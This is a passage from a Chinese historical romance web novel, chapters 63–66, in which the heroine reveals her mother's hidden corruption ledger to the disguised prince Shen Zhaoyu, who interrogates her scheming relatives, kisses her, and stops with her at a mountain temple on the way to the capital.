后背挨上坚硬的胸膛,她陷进一个熟悉的温暖怀抱里。 “嗯?去哪儿?” 沈昭予脚步不停,把人一路抱回卧房。 “陪你睡觉!” 宋星糖:?? 可是她才刚起啊,为什么要睡觉? 面对男人莫名其妙的命令,宋星糖的态度是——不可能听从。 不过确实有事要在卧房里才能告诉他。 宋星糖才被人放到榻上,便跳了下去。沈昭予抬手一捞,只碰到一绺头发。 “你等等,等我哦!” 宋星糖急匆匆地绕到床架子侧面,在与墙壁的狭窄缝隙里,蹲了下去。 沈昭予抱着肩,靠在边上,好整以暇地看着。 只见小姑娘跟只猫儿似得,掀开角落里的一个储物箱,一头扎了进去。 她露在外头的屁股随着翻找东西的动作扭来扭去。 沈昭予不自在地挪开视线,盯着床尾挂着的平安符,清了清嗓子,“找什么?” “找宝贝!你等等,给你看我的大宝贝!” 沈昭予:“……” “诶,我记得就在这里呀,哪儿去了?” “坏了!不会是被人发现偷走了吧!”宋星糖天塌了,“要是没了,我还活着干什么!天呐!” 沈昭予手虚握成拳,抵在唇边轻轻笑了声,“是什么?这么严重?” 能看得出来她要找的东西至关重要,因为两句话的功夫,她就带上了哭腔。 她从箱子里钻出来,眼睛红红的,“沈昭予,我娘留给我的东西,不见了。” 这是她自知道了他的名字以后,第一次正式地叫他。 也不知是因为叫了他名字的缘故,还是因为她在哭。 沈昭予只觉得自己的心顿时如同被小刀割了一般,细微的痛并不致命,却深入骨髓,余韵绵长。 他敛了神色,先将她从角落里拉出来,抬手揉揉她的脑袋,又伸出手指,抹掉蹭在她鼻尖的灰。而后探身进去,一手将箱子整个拖了出来。 宋星糖蓦地睁大眼睛,“那、那箱子很重的!” “不重,”他蹲身下去,问道,“都是什么?” 箱子里东西很多,杂乱无章,最上头尽是些没用的废弃物,实在不像是能藏了宝贝的样子。 宋星糖掰着手指头数道:“一本册子,黄皮的。一个令牌,刻着我阿娘的名字,是个‘柔’字。还有个玉石印章,一把钥匙,一沓契约文书。” 沈昭予:“……” 好像都是掌权人的信物。 他不可置信道:“这么重要的东西,你就随便扔在这里?” 宋星糖有理有据道:“你看,你也知道那些东西不应该如此草率地扔在这里 吧?我就是想让大家都猜不到,才不会被人偷走了呀。” 沈昭予无奈道:“那也不能自己也找不到吧?” “总比被人抢走强呀。”宋星糖观察着男人的表情,声音虚弱下去,“我是不是做错啦?” 沈昭予果断摇头,“糖儿思虑周全,做得很好。” 宋星糖又高兴了,“真的嘛?我也能想出好点子来呀!” “嗯,是个好点子,糖儿好聪明。” 沈昭予嘴上夸出花来,转回头,面无表情地继续翻找。 好半天,才从犄角旮旯里凑齐她说的那几种“宝贝”。 “这个秘密,我只告诉了你哦。”宋星糖把宝贝们摞成一沓,悄声道,“虽然我们已经不是夫妻,但我还是只跟你共享秘密。” 沈昭予心旌摇荡,伸手就要去抱她。 又听她道:“权当,权当你替我找爹爹的报答吧!” 沈昭予:“……” 还是沾了岳父的光。 他随手翻开那本黄色的册子,漫不经心道:“这些东西,可要一起带走?” 等看清册上所写的内容后,目光微凝。 宋星糖的两个小拳头不住地对碰,一边敲,一边犹豫道:“我正要向你请教呢,我也不知该怎么处理它们。” 她回头看了一眼房门,见门窗都紧闭,才敢开口,因是秘密,她太害怕被人听到,所以只能凑到男人身边,头挨到他耳边,压低声道:“这个册子,我娘临终前千万叮嘱我要烧掉的。” 沈昭予面色严肃,盯着那一行行字的眸光陡然凌厉。 “可你没有听她的。” 宋星糖点头,苦恼道:“并不是有意违逆,实在是……唉。” “我知道这个很重要,所以才不敢烧。” 沈昭予蓦地抬头,诧异道:“你知道这里头记了什么?” 宋星糖摇头,“阿娘不许我看,我很听话。只不过我知道阿娘对这本册子格外重视,想来它是非常要紧之物,可她竟然让我拿去烧了,还要烧干净,背着人烧。” 她抬手,触向男人的眼角。 沈昭予微垂眼睫,没有动。 宋星糖轻轻摩挲着他眼尾的那颗小痣,说道:“你看着册子时的神情,就和我娘一模一样。” 她目光坚定,“可见,它不能被销毁。” 要说宋星糖聪明呢,她的确在许多方面都不如常人。 可要说她笨,沈昭予更是嗤之以鼻。 真正愚蠢的人,绝对没有她这般敏锐的直觉与对危机的预估。 沈昭予道:“这是一本至关重要的证据。” 是李柔千辛万苦搜集到的,越州众官员贪赃枉法、招权纳贿的证据。 里头还有更为机密的部分——地方官员与朝中某些人的利益往来。 这是沈昭予还未触及到的秘密。 李夫人在越州白手起家,至富甲一方,长达十余年中,她所有的发现,都在这一本薄薄的册子里。 这可能也是李夫人最终会遇害的根本原因。 “难怪她要你毁了它。”沈昭予合上册子,喟叹一声,“李夫人一片慈母心肠,她不舍得让你涉险。” 宁愿毁了自己十几年的努力,宁愿让这世道就这样脏下去,也不能把危机留给自己的女儿。 宋星糖就知道他什么都知道,什么都了解,就知道自己对他倾诉,是正确的! 她一想到自己艰难保守秘密,日夜担忧被人发现,后知后觉,委屈涌上心头。 暂时忘了两人已经是休弃与被休弃的关系,她依赖地靠上去,眼巴巴地,“那依你看,我该如何?这些东西,要交给秦大哥吗?” 沈昭予趁机拉住她的手,状似不经意地合拢五指,将她包裹,又问道:“为何要给秦知期?这不是你母亲留给你的信物吗?” 有问题需要思考,宋星糖便再顾不得其他。 她任人拉着小手,迟疑半晌,没底气道:“我……我行吗?秦大哥才能利用好它们吧。” 首先,她就不像她娘和秦大哥那样,能一目十行,她连算术都学不会,如何能管这一大摊家业? 其次,因为她无能,底下的掌柜与管事们,必定也是不服她的。 一个没有能力,又没有威望的掌权人…… 宋星糖垂头丧气地,如同一只霜打了的茄子。 沈昭予却笑了笑,“秦知期有能力,是不假,但你怎么知道,自己就一定不行呢?” “一个出众的将领,他的骑射与武艺不一定是最好,但他的军事才能一定远胜旁人。” “我倒觉得,如果非要挑一个人做宋氏的主人,那个人一定是你。至于秦知期,他只能做你手下的棋子,做不了当家作主的人。” 秦知期不会让李夫人的心血毁于一旦,他最是明白,只有宋星糖,只有李夫人唯一的女儿,才能将“李柔”的名字延续下去,他自己也不行。 这个世上,还从没有人这样称赞、肯定过宋星糖。 她喜欢听好话不错,但当好话特别特别好听,好听到梦里都不会有时,她就没有勇气去相信了。 “我不行的。”她摇头,十分缺乏自信道,“我管不好。” 沈昭予耐心十足,循循善诱: “想想你第一次独自回击祖母,第一次背会一条典故,第一次算出一道题。” 宋星糖半信半疑,跟着他的思路回忆起来。 “提出的第一个好点子,第一次听到别人由衷的赞扬,第一次听到别人说——你竟然还会这个,第一次恰当地处理了府里的事务……” 宋星糖眼底的不确定在消散,她受宠若惊地,又问了一遍:“我真的能行吗?” 她捂着心口,不可置信道:“我竟学会了这么多吗?!只用了一个多月诶!” 沈昭予双手捧着她的脸,让她直视着自己的眼睛,温柔而笃定地说道:“你当然可以,你并不比任何人差。” 宋星糖眼底的光瞬间被点燃。 “我能行?” 沈昭予笑道:“你最棒了。” 宋星糖眼里慢慢续满水汽,她没忍住,抬手抱住他的脖颈,埋在他颈间,颤抖地呼吸。 这个世界上,再没有人比他更会欣赏她了。 第64章 第64章【二更】唇舌都被人一遍…… 【64】 抱了好一会,等宋星糖的情绪平复下来,她才猛地想起来—— 他们已经不是夫妻,不可能总做这么亲昵的举动。 等小猫挣扎着,怎么着都要从怀里跳开时,沈昭予只能独自懊恼,早知当初不教她那么多了。 他后悔当初太过“正人君子”,更唾弃竟生出了卑劣念头的,此时此刻的自己。 跑了也好,免得他要克制不住,变得畜生不如。 沈昭予前脚离开霜星院,后脚青鸾就回来了。 宋星糖心心念念青鸾许久,好不容易盼回来她,自是拉着手有说不完的话。 青鸾得了主令,尽心尽力地哄人开心。 那边沈昭予另有要事处理—— 二房,还未清算干净。 二房众人被他分开关了数日,钱氏依旧缠绵病榻,身子一天不如一天,整日进气多出气少,问也问不出什么,想来等他们离开不久,就能听到钱氏病亡的消息。 只是让她病死,实在是便宜她了。 沈昭予打算好好替宋星糖出一出这些年的气,于是向看门送饭的守卫做了叮嘱,想来那些人会在所剩无几的日子里,好好“照顾”钱氏。 至于 别人,就没有那么好运。 沈昭予又去对其他人进行了审讯。 宋遥听说连一州刺史都落网,自知前途一片黑暗,倒是识相,没怎么用刑就招了个彻底。 他以为自己认错态度积极诚恳,能求来几分宽恕,可他忘了,眼前的男人最是睚眦必报,斤斤计较。 二房欺负的,是沈昭予此生放在心上的唯一一个女子,他岂能轻易放过他们? 宋遥不知就算他招供也难逃罪责,沈昭予没有告诉宋遥他的下场。 故意让宋遥心生期待,派人将他押送进京,免得这一路上途生变数。等到京城,再昭告他的死罪。 至于宋妤娇,没什么可问的,一切皆与沈昭予料想的别无二致—— 宋妤娇认为自己好景不长,担心受父兄牵连,于是狗急跳墙,选择从沈昭予的软肋下手,主动出击。她以为沈昭予被赶出去,自己就安全了。 有一些蠢人,沈昭予始终难以理解。难道靠威胁他,就能达到他们的目的吗?那不是只会激怒他,更加死无葬身之地吗?还是他们以为,他软弱到会惧怕威胁,会不敢还击,是颗软柿子? 沈昭予不想和蠢人说话,但未免遗漏细节,周全起见,沈昭予还是按流程去审了。 结果不情不愿地听了一通发泄: “从小到大,她与我一样都是个胆小鬼,都被宋洛繁欺负,本就是同病相怜,凭什么她总有人宠着护着?” “她爹娘眼里总是外头的事,偶尔才能顾上她,所以我不怨她,我还是觉得她很可怜,宋氏大小姐又如何,唯唯诺诺,哪有一点气度?” “为什么,为什么她爹娘都不在,你又来了?!你出身高贵,什么样的女人没见过?怎么也偏偏疼着她宠着她护着她?” “她背叛了我,她不再是旁人眼里的可怜人,就剩我一个可怜人了。我要毁了她的快乐,让她变回原来的样子!哈哈哈哈。” “可你走了,怎么又回来了?!你竟然还会回来!你回来,可怜的就又只剩下我自己了……” 啰嗦半晌,满腹牢骚。 平白耽误时间。 原来又是因为嫉妒。 自己过得不好,也见不得别人好。 沈昭予站起身往外走,暗卫撕开一节胶条,将宋妤娇的嘴用力地缠了几圈。 临出门时,男人回头,似笑非笑地睨她一眼。 “糖儿若是知道你一直在嫉妒她,一定会很吃惊。” 果不其然。 “什么?!她嫉妒我?”宋星糖伸手指了指自己的鼻子,“我吗?我有什么值得嫉妒的?我连九章算术都看不明白。” “你不知道,宋妤娇是我们家最聪明的一个,整个越州城,我也就听说周家的四姑娘比她强。” “她那么聪明,嫉妒我什么?” 马车摇摇晃晃,宋星糖怀里抱着夜明珠,皱着眉头,苦思冥想,一边琢磨,一边嘟囔。 对面而坐的男人却有些心不在焉,口中一边敷衍应和,心里想的,却是离开二房前,与宋洛繁的对话。 “就是她拉我下水!她变成了个傻子,活该!叫她害人!” “我是烧忘了,那又如何?你问问我身边人,哪个不知道是她搞的鬼?!” “你什么意思?难不成我们二房合起伙来欺负她?那会她爹娘可都在呢,我哪敢?” “……” “是,是我们少爷先动的手……求求您别杀我,少爷什么都忘了,是老夫人说把错都推到大小姐身上的。” “少爷先把大小姐推下了河,而后大小姐才把少爷也抓了下去。” “大爷、大夫人都知道的,因为,因为当时大小姐不止把少爷拉了下去,还有一个……” “谁?” “不知那人的身份,只知是个得罪不起的人,好像是前任刺史家的公子?” “那位小公子很喜欢大小姐,想拉住她保护她,没曾想脚下一滑,非但没把她救上来,自己也掉了下去,人就这么没了。” “至于大小姐额头的伤,应是在水下受的,奴婢们也不清楚。” “后面还是我们二爷出面摆平此事,贵人们才没追究。” 刺史家的公子,莫说是当年,就是如今,宋家也得罪不起。 虽然罪魁祸首是宋洛繁,可拉人下水的,的确是宋星糖。 所以在二房的人把过错都推到宋星糖身上时,宋星糖的爹娘也不能多说什么,因为刺史家的公子确实是因为宋星糖才没的命。 可真正作恶害人的,难道不是宋洛繁吗? 凭什么都要由她一人承担? 沈昭予只觉得她的父母对她并不公平。 或许她父母当时因得罪不起刺史府,又因宋遥摆平了事端而选择息事宁人。 可这都叫沈昭予感觉到恼怒与痛惜。 真想在她小的时候就认识她,看一看她幼时有多灵动可爱,想在她遭遇人生大劫难时,帮她一把。 没人替她做主,那就由他来。 “……” “哎,你在想什么呢?” 宋星糖凑过身去,肘了他两下。 沈昭予回神,微微蹙眉,臭着一张脸,“叫我?” 怎么还叫他“哎”,他不是把名字告诉她了吗?怎么坦白过后,连称呼都不配拥有了? 看来他不光人轻贱,连名字都不值钱。 “马车里除了你我,还有第三个人吗?”宋星糖奇怪道,“自然是在叫你呀。” 沈昭予脸色有些难看,望着她欲言又止。 宋星糖只是对危机的嗅觉稍稍敏锐,在察觉旁人情绪这点上,依旧是迟钝且木讷的。 她如今能分辨出别人待她的恶意,但沈昭予对她不可能有恶意,宋星糖悟不出来,只觉得他喜怒无常,一会亲亲热热,一会又忽然冷脸,好像有人惹了他似得。 女人心像不像海底针宋星糖不清楚,但沈昭予的心思一定是最难猜的。 她眨巴着眼睛,无辜回望。 沈昭予也知她的木头本性,不想同她计较,但思来想去,到底咽不下心里那口气,语气中带了他自己都没能察觉到的委屈,说道:“我已告诉你真名,你为何不叫我?” “沈昭予”这三个字,就这么难念吗?? 再不行,还叫他赵鱼也行啊,总比一个“哎”好听。 非要知道名字的人是她,问过又不再提的也是她。 这叫沈昭予觉得,自己犹豫半天做出告知真名的这个决定,很愚蠢。 要是早知道告诉她以后,自己只配一个“哎”,打死他都不会坦白。 哪怕一直吊着她,每天告诉她一个字,也能让她黏着自己起码三天,总比现在博取的目光多啊! 她只新鲜了那个名字不到半个时辰,就没有下文了。 看来他的名字真的很贱。 宋星糖眼见着男人脸色变来变去,愈发难看,她觉得有趣,双手托腮,伏在膝头,像看什么稀奇物似得打量他。 沈昭予:“……” 望着那双大眼睛,沈昭予说不出冷硬凶狠的话来,他只能板着脸,头偏向一边。 宋星糖盯着他通红的耳朵,美滋滋看了半晌,手指痒得厉害,想要再去摸一摸。 才起色心,就想到两人如今不便再如从前那样,情绪又低落下去。 虽然很想摸摸他,可休夫一事,她并不后悔。 谁叫他骗她呢。 既是报复他,也是惩罚自己,她想通过这件事,让自己长长记性,不要别人一说什么她就信了。 她都快二十岁了,二婶有一句话说得很对,阿娘二十岁时都有了她,做了母亲,而她还是个被人一骗就得手的小傻子,那怎么能行?阿娘会对她失望的。 她不能再稀里糊涂地过下去,她早就该成长起来,像一个真正的大人。 所以……就忍一忍吧。 沈昭予何其敏锐,哪怕是不相识的人,他也一眼就能从其目光中读出盘算。 更何况是朝夕相处这么久的心上人。 她定是又想摸他了。 年纪不大,色心不小,真真不成体统! “……” 沈昭予感觉到自己的耳朵更热了两分,心里赧然地想,才和好,不好再拒绝她,应该满足她的要求,先把人哄到手再说。 况且他已经认定了她,早晚要和她圆房,现在虽然没有名分,但只要她高兴,也不是不能给她摸。 沈昭予红着脸做好心理准备,忐忑地等着她朝自己伸出色爪。 等了半晌,宋星糖始终安静、安稳、安定如山地坐在那,瞪大眼睛,盯着他瞧。 沈昭予:“……” 她为何不过来? 难道是他脸色太凶,吓着她了? 不该啊,新婚夜时,他的脸色不比现在更冷?她不照样轻薄他! 还是说,他们之间终究出现了裂隙,他有一点冷脸她都不想靠近? 沈昭予能屈能伸,迅速反省过后,脸色渐缓,余光瞥了眼宋星糖,等着她靠过来。 “……” 僵持半晌。 她怎么还不动?? 沈昭予脸色又垮下去。 他没了耐心,长臂一伸,一把将人拉进怀里。 宋星糖正津津有味地看着他变脸,不设防跌入熟悉的怀抱。 她微微睁圆双眼,原本需要仰望的人,瞬间变成低头看。 宋星糖:? 她茫然道:“怎么了?” 她不太自在地在他腿上动了动,“你,你放我下——” “为什么不叫我的名字?”沈昭予一边发问,一边牵起她的手,往自己耳朵上摸,“不好听?还是不喜欢?” 他抓着她的手指,压在自己耳廓上,引导着她,捏一捏,揉一揉。 不是最喜欢摸他耳朵了?给她好好摸一摸。 宋星糖全部的注意力被分散,有问题要答,她就顾得不手上碰到了哪。 她毫无知觉地被人摆弄着,反问道:“你不需要继续遮掩身份了吗?” 沈昭予如愿以偿,闻言却是一愣,手上动作停了,“需要。可……这同你有关吗?” 就算要隐瞒,也不会再对她隐瞒。 “万一我叫习惯了你的真名怎么办?”宋星糖认真道,“我没别人聪明,怕因我一时疏忽,为你招来祸患,令你的谋划前功尽弃。” 万一在关键时候,她嘴瓢说了他的名字,那不就揭穿他的伪装了吗? 她想想就害怕,连连摇头,“还是等你能用自己身份出面说话时,我再叫吧。” “习惯”一旦适应,便难以更改,更何况她是个一根筋认死理的人,心直口快,容易误事。 沈昭予万没想到是因为这样。 虽然总是拒绝他的靠近,嘴上也说不原谅他,可其实心里比谁都害怕给他惹麻烦。 她虽将他休弃,却比谁都要为他着想。 那她自己受过的委屈呢?在关系到他的前途时,就不重要了吗? 沈昭予从未有过如此自惭形秽的时刻。 他觉得自己实在配不上宋星糖,当不起她这份宽容与体贴。 所有的“懂事”,都是她委屈自己的结果。 何德何能,叫他遇上这样好的女孩。 沈昭予再难克制汹.涌.澎.湃的情愫,他抬手扣住她的后颈,带了力道往怀里压。 在即将吻上时,她又抬起手挡在二人中间。 这次沈昭予没有纵容她拒绝,拉开她的遮挡,不容置喙地吻了上去。 足够席卷一切的强势之吻,令宋星糖措手不及,难以招架。 她的唇舌都被人一遍遍地,细致地品尝。 呼吸交缠,气氛热烈。 她被他手臂圈着,禁锢在怀里,她被迫低头,感受着他带着侵略性的细密亲吻。 似乎感受到她的不适,他逐渐放缓节奏,不再野蛮而莽。撞地突破她的齿关,而是缱/./绻而绵长地舔舐她的唇。 从唇角到耳垂,流连半晌。 最终埋首在她颈侧,认命地阖上双眸,带着笑意叹道: “糖儿,我感觉……” 感觉要更加无可自拔地,爱着你了。 第65章 第65章【一更】“总之,谢谢你…… 【65】 宋星糖当然不能与沈昭予感同身受。 她抿着红肿发麻的唇,把自己团成了一个球,缩在男人怀里。 头死死埋进他胸口,任人如何哄都不出来。 沈昭予唇边带着满足的笑,手掌轻轻在她背上拍着,“害羞了?” 怀里的小姑娘给了他胸口一拳头。 打了他一下犹觉不够,改用脑袋顶。 沈昭予被抵在车厢内壁,无奈笑道:“为何恼我?” 宋星糖就等着他问呢,她眼底还带着深吻后的余韵,泛着红晕与水意,骂道:“登徒浪子!” 都说了不能亲,不给亲,他怎么还亲! 亲就罢了,还亲得那么用力,简直要把她嘴唇咬破! 这也罢了,可他还有更过分的,他、他竟然伸舌头!! 吃嘴不够,还要吃舌头! 越想心里越气,仰头咬上他下巴,留下一排整齐的压印,她瞪眼,凶道:“衣冠禽兽!无耻之徒!卑鄙!无赖!” 心里有什么骂人的话都往外冒,自以为凶悍极了,定能将人镇住,让他不敢再轻易冒犯她。 不曾想这一骂给沈昭予骂得,非但不怒,反而愈发如沐春风一般。 但他深知不可得意忘形,否则真将人惹恼,可不好哄。 沈昭予咳了一声,艰难忍耐笑意,佯装神伤,叹了声:“那怎么办,糖儿实在太讨人喜欢,我实难忍耐。” 宋星糖顿了顿,慢慢抬头,“讨人喜欢?我吗?” 沈昭予投其所好,拼命夸道:“是啊,糖儿这般为我着想,我哪有不喜欢的道理?没想到我们的大小姐这么体贴入微,懂得设身处地为人着想,可比这世间大多数人都强上不知几何。” “我见过数不清的人,不说对人性了如指掌,也算有一些见识。好人坏人,我心里自有评判,还从未见过如糖儿这般,温柔体贴,知疼着热,会尽心尽力爱护身边人的。” “糖儿自幼长在深闺之中,少见外人,却并未被养得目中无人,一无所知。相反,你心思纯净,温柔善良,有一颗赤子之心,非常人能及。” “但凡与你接触,都会不由自主地喜欢你。”沈昭予专注又温柔地望着她,“我很幸运,能做你的夫君。” 沈昭予的话说得动听,听得宋星糖眼眶热热的。 “我们已经不是夫妻了,”宋星糖低下头,闷声道,“不过你说话真好听。” 沈昭予忽然笑了。 宋星糖疑惑道:“为何发笑?我说错了吗?” “我只是忽然想起,当初糖儿择我为夫婿,是因为我说话难听。”沈昭予笑着抚上她脸颊,声音温柔,“我该感谢自己生了一张巧嘴,能得大小姐的青睐。” 宋星糖的目光落在男人那双微红的薄唇上,脸颊慢慢泛红。 她撑着胸膛把人推开,从他腿上爬下去。 坐回自己的位置,羞涩地别过头去,嘟囔了句:“这张嘴现在可怕得很。” 不光会说好话和坏话,还会啃坏她的嘴,当真是“利嘴”不饶人。 马车往城外行进,宋星糖掀开车窗往外看。 小路蜿蜒崎岖,有颇多坎坷,但不知是马夫驾车技艺高超,还是车做过特殊的处理,坐起来一点都不颠簸难受。 山路寂静清幽,两旁遍布着冠如伞盖的参天大树,枝头上落着长尾喜鹊,除却鸟鸣,再听不见其他声音。 回京这条路并非直接北上,沈昭予不想去杭州,若他只身一人,就算被沈云琅发现踪迹也无所畏惧。 可如今他身边带着个小姑娘,不免事事都要为她考虑,不可明知前方是虎穴,也要硬闯。 婺州的官员都被沈云琅请去杭州,婺州城暂且安全,所以出了越州后,马车一路向西南行。 沈昭予打算绕去婺州,再西行睦州,绕过杭州北上回京。 此行虽会耽搁些时日,但与宋星糖的安危比起来,这些天沈昭予等得起。 宋星糖趴在窗边,忽然觉得路越走越熟悉,在看到远处半山腰上那座古寺时,她惊喜回头,“鱼鱼,那是安济寺 吗?” 沈昭予怔在原地。 “嗯?”宋星糖抬手在他眼前晃了晃,“人怎么傻了?” 晃动的手指被一只大掌紧紧扣住,他倾身靠近,喉结轻轻滚动两下,“怎么又肯叫我了?” 宋星糖抿了抿唇,不好意思地道:“我想了想,还是把你当赵鱼更加保险一些。” 反正“鱼鱼”二字她也叫习惯了。 或许她做这个决定时,没有多余的念头,只想着怎么方便、怎么保险就怎么来。 可沈昭予心中却久久难以平静。 “赵鱼”代表的不仅仅是一个假名字,于他而言,“赵鱼”代表着“宋星糖的夫婿”这个身份。 她说什么都不肯原谅他,可现在愿意用原来的称呼唤他,是否意味着,她对两人的那段过往,并非满心是怨。 在她心里,她是不是也喜欢他们的那段姻缘? 或许是他的眼神太吓人,宋星糖像只灵活的兔子一样,把手抽走,背过身去,也不管自己的问题有没有回应,再不肯主动说话。 这样也好,她若再多看他两眼,他只怕又要忍不住想吻她。 沈昭予坐回原处,垂下眼睛,兀自平静有些凌乱的呼吸。 “你曾说想再去安济寺拜拜菩萨,我们此去不知何时才能回来,临行前去一次,免得日后你想起来会遗憾后悔。” 宋星糖搭在窗框上的手微微蜷缩,心上似被一把钩子挠了一般。 说她体贴,他又何尝不是呢?她说的每一句话他都记在心里。 一路上,宋星糖都拿不准主意,不知要不要去。 没一会,马车停在山脚。 沈昭予起身往外,路过她时,袖子往人拽住。 他回头,眸中带笑,“嗯?” 宋星糖扯着他衣裳,让他坐下,目光躲闪,两只手握在一起,手指不安分地动着,迟疑半晌,才道: “要不,还是不去了。” 沈昭予诧异道:“为何?” “我们北上是去寻我爹爹,总不好在这儿浪费时间。” 沈昭予闻言笑了,“你放心,就算我们一路上慢慢地走,我也不会把你父亲的行踪弄丢。” “可是我想尽快——” 沈昭予握住她因不安而乱动的手,安抚道:“你想快点见到他,他却不一定想见到你。” 宋星糖茫然地眨了下眼。 沈昭予道:“你父亲为何要假死离开,其中内情我们尚且不知,他一定有自己的计划,在他的目的显露之前,我们不便出面打扰,平白扰乱他的计划,我们只要跟在他后面,看着就好。” “我最近一次收到他的消息,他人还在陈州境内,据说逗留了至少十日以上。”他低沉的嗓音徐徐说道,“我们当然可以快些赶过去,只是这样一来会惊动盯着我的人,二来也会把追兵过早地引过去,对你父亲来说,不安全。” 宋星糖听他如此说,哪还有不愿的,忙不迭点头应下:“你说得极是,我听你的。” 沈昭予笑着摸摸她的头,“糖儿说自己一根筋,可也最是知事明理,我一说,你就应,好听话。” “因为你说的是对的呀,对的话我当然要听。” 她被摸着头,舒服得眯了眯眼,在手掌离开时,还情不自禁地追着又蹭了他一下。 只不过这是下意识的反应,她自己都没反应过来。 沈昭予收回手,手指贪恋地摩挲着掌心。 他又要下车,袖子再次被人抓住。 “对了,我们的行李呢?也跟着我们一起慢慢走吗?” 沈昭予很喜欢她用“我们”这个词。 他面带愉悦的笑意,说道:“行李的车马先行入京,照常走。” 宋星糖入京一趟,几乎把霜星院都搬空了。 她这个也想带,那个也要用,最后林林总总,装了五大马车。 沈昭予从中挑了些日常要用的东西,随他们一起,剩下的都叫人先拉走了。 多带些东西也好,反正这次将她带走,就没打算再放她离开。 等她把自己的东西都搬到他的王府里,就按照她的喜好布置,只要她能在新家里也有归属感和安全感,把他的王府拆了重盖他都没意见。 只是银钱上……可能还要借用她的。 比富有,他实在比不过她, “还有什么问题吗,大小姐。” 宋星糖笑着摇头,“没啦,走吧。” 沈昭予出了马车,下车后朝她伸手,“我们夜里不赶路,今天出发时间太晚,天快黑了,我们就暂且在寺中停留一晚,你看如何?” 宋星糖点头,把手放到他掌心里。 “好呀,我以前常随我娘在寺里小住,小师父们人都很好的。” 沈昭予把她接下马车,却没有松手,拉着她往前走,状似无意地问道:“小师父们人好,那住持呢?” “住持人最好啦,我每次来,他都让人做好吃的素糕点给我。” 说着,宋星糖舔了下嘴唇,咽了咽口水。 她郁闷道:“哎,要走了,就快吃不到了。” 沈昭予摇头失笑,回头看了青鸾一眼。青鸾垂下眼睛,微微低头,在心里记下,回头找人要膳食的方子。 今日也巧,正好是五月的最末一天,是安济寺不迎客的日子。 上山的途中一个人都没看到,但有宋星糖一直在旁边说话,所以并不冷清。 李嬷嬷敲开寺门,一行人被请了进去。 女眷由小师父带领着,朝禅房而去。沈昭予只说还有事,与她分开。 宋星糖看了一眼方向,那边是住持的院子。她想,他这样的大官,找住持定有要事,心里打算着晚上没事不去打扰他。 沈昭予去见慧明,他先前也暗中来过几次,每一次办完正事,都要问上慧明一句: “本王从前见过你吗?为何你能一眼认出本王来。” 慧明有时说谜语,有时沉默不语,沈昭予早习以为常,只是顺嘴多问一句,他以为今日也依旧会被糊弄过去,不曾想慧明却意外地给出了答案。 “人各有气,尊客之气,最旺。”慧明双手合十,“贫僧不曾见过尊客,但能有如此气运的,普天之下,唯怀王殿下一人。” 沈昭予笑着颔首,“原来本王出生时,那位说本王命好的老僧,并非是看本王不顺眼才故意胡说啊。” 说他命格贵重,比肩天子。 因为这几个字,他曾吃过无数的苦头。 “为何今日告知本王?” 慧明又不说了。 沈昭予笑了笑,看在宋家的份上,没同他说难听的话。 只是在转身离开,说了一句: “万法皆空,因果不空,本王始终相信,命由己造,既然决定将她带在身边,那么一切后果,皆由本王一力承担,你不必担心。” 既然他的命这么好,那么她肩头上的重担分给他来挑,又有何妨? 沈昭予快步回到禅房,屋里没人,不用问,定是去拜菩萨了。 他走到大雄宝殿外,侧目望去。 只见宋星糖跪在蒲团上,双手与额头紧紧贴在地面上。 她背对着他,看不见神情,沈昭予脑海中蓦地浮现起初遇她的画面。 彼时的小姑娘仍在守孝,身着白色素衣裙,头上扎着双丫髻,发啾上绑着白色的发带,每一次叩首时,都让人不由自主地向她看去。 她虔诚而认真地,向菩萨念叨着招赘的诗句,念了半晌,菩萨做梦都不会说错,她自己却又忘了。 沈昭予抿唇笑笑,耳边隐约还能回荡起那一句—— “天灵灵地灵灵,神仙祖宗快显灵。请赐我一个能对出下半句的夫君吧!” 沈昭予喃喃道:“只缘感君一回顾,使我思君朝与暮。” 这句现在念起来,竟十分贴合他的心境。 如今她已经不会一句诗念上几遍还能记错,祈祷许愿时,却还是不知要默默许愿,一定要大声说出来。 “菩萨你真灵,不过我以后应该没有什么需要求你的了。” “阿娘说过,事在人为,不可一味依赖神佛,我当 初也是实在没法子才来找你。” “兴许是我没有随意许愿,你看到了我的诚心,所以才实现了我的愿望吧?” “我已经找到能对上下句的人了,以后有事我去求他,就不麻烦你啦。” 絮絮叨叨,说了半晌,说完又十分感恩地磕了三个头。 沈昭予亦仰头望向菩萨。 两个月,他们已经相识整整两个月。 对神佛从无敬畏之心的人,此刻在殿前垂下头颅,心中默念了一声谢。 “总之,谢谢你,菩萨。” 宋星糖拎着裙子起身,转身时,看到门外站着的人,眼前一亮。 “鱼鱼!” 宋星糖朝外飞奔而来。 沈昭予张开双臂。 谢谢菩萨。 他也已找到了命中的人。 第66章 第66章【二更】“往后,我还给…… 【66】 宋星糖急急停在沈昭予面前,没有往他怀里扑。 沈昭予摇头苦笑,落下手臂。 并肩回去,一路无话,用过晚膳后各自回房休息。 沈昭予无事可做,闲得发慌。 因为新长出一颗敬畏之心的缘故,沈昭予不打算把无处释放的精力以武力形式宣泄出来,所以拒绝了江行“出去练练就好了”的提议。 沈昭予在屋里转了两圈,实在寂寞,决定去找宋星糖,可到门口,又听妙荷说她已经睡下,无奈只得折返。 想来是忙活一天,累坏了,往日都要闹到二更才肯睡的人,今日才吃过饭就倒头不醒。 沈昭予听说安济寺里不仅有早课,还有晚课,忙赶过去听了会。 结果只听了一炷香都不到,人家就散了。 天色还早,沈昭予实在闲得难受,干脆跑到藏经阁去找书看,一直看到子时才回房。 路上,沈昭予同江行感慨: “无需再为宋氏的生意劳心劳神,原来本王的生活可以如此悠闲。” 不过说起来在宋府的那段时日,竟是沈昭予活了二十多年最充实的一段时日。 想他幼年求学,少年征战,青年谋大业,每个阶段都没有感觉到“累”过。 在宋府他不仅觉得累,还觉得困。 做皇帝哪怕日理万机,每日也能有三个时辰的休息时间,可比做赘婿要轻松多了。 在宋府生活了两个月,好像过了半年那么久。 江行:“……那还不是您老给自己找事做?” 沈昭予睨他一眼,不悦道:“本王哪有没事找事?” 江行道:“教大小姐读书,可不就是没事找事。” 沈昭予脸色一黑,抬腿踹向江行,把人踢了一跟头。 倒在地上的江行:? 沈昭予面色不善,“不准说她的坏话。” 江行:?? “属下说实话都不行了?”江行委屈巴巴地,揉揉屁股起来,“大小姐身边有殿下您,还学那些做什么?您都替她操心了,她当然不需要——” “这话错了。” 沈昭予语气严肃:“无论是否有本王在她身边,她都有读书识理的必要,这是她该做的事,不能因为本王能替她兜底,她就可以高枕无忧。” 沈昭予定定看了江行一眼,越过江行走了。 江行挠了挠头,赶忙跟上去,“可是学东西很苦很累啊,您难道忍心看着大小姐烦恼吗?” 